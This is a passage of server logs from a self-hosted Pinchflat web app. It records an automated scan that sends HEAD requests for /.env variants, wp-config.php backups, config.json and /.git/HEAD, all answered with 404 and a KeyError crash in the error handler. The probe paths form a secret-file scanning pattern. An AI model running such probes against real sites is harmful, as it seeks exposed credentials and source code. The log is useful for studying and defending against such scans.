"sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3597.0>, params: %{}, path_info: ["wp-config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua", "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"macOS\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/wp-config.php.bak", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmA3jRX3BLmZgAAUcB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3595.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.bak", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41298}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3595.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.bak", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41298}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", (truncated) 02:30:23.696 [info] HEAD /config.json 02:30:23.697 [debug] QUERY OK source="settings" db=0.2ms idle=18.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:23.697 [debug] QUERY OK source="settings" db=0.1ms idle=18.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:23.697 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:23.697 [error] #PID<0.3603.0> running PinchflatWeb.Endpoint (connection #PID<0.3599.0>, stream id 2) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /config.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3599.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41312}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3603.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/config.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmA3oODKPGproAAUgB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3599.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41312}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3599.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41312}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3603.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_ (truncated) 02:30:23.704 [info] HEAD /.env.save 02:30:23.704 [info] HEAD /.env 02:30:23.705 [info] HEAD /wp-config.php 02:30:23.705 [info] HEAD /.env.dist 02:30:23.705 [debug] QUERY OK source="settings" db=0.8ms queue=0.3ms idle=26.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:23.705 [info] HEAD /.git/HEAD 02:30:23.705 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=26.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:23.706 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=26.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:23.706 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=8.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:23.706 [info] HEAD /.env.production 02:30:23.706 [debug] QUERY OK source="settings" db=0.8ms idle=8.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:23.706 [debug] QUERY OK source="settings" db=0.7ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:23.706 [debug] QUERY OK source="settings" db=0.7ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:23.706 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:23.706 [debug] QUERY OK source="settings" db=0.6ms idle=0.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:23.707 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:23.706 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:23.707 [debug] QUERY OK source="settings" db=0.4ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:23.707 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:23.708 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:23.708 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:23.709 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:23.709 [info] HEAD /.env.local 02:30:23.709 [debug] QUERY OK source="settings" db=1.1ms queue=0.5ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:23.711 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:23.711 [debug] QUERY OK source="settings" db=0.9ms queue=0.3ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:23.713 [debug] QUERY OK source="settings" db=1.3ms queue=0.4ms idle=4.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:23.708 [error] #PID<0.3605.0> running PinchflatWeb.Endpoint (connection #PID<0.3591.0>, stream id 4) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3591.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41286}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3605.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmA3qH5wfHRc8AAUiB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3591.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41286}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3591.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41286}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3605.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9, (truncated) 02:30:23.713 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:23.707 [error] #PID<0.3604.0> running PinchflatWeb.Endpoint (connection #PID<0.3599.0>, stream id 3) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /.env.save ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3599.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41312}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3604.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua-mobile", "?1"}, {"sec-ch-ua-platform", "\"Android\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, 